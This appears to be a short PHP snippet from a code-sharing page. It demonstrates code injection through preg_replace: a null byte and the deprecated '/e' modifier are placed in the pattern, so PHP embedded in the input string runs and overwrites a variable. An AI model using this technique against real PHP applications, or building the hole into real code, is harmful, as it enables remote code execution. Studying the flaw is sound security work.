- var_dump: documentation ( source)
- preg_replace: documentation ( source)
<?php
$secret = 9292929;
$data = '"I will write the payload code in this pice of content" . ($secret = 1111111) . "that is sent to you previously"';
$trigger = ".*)/e\0";
preg_replace( "/($trigger)/i", '<em>$1</em>', $data );
var_dump( $secret );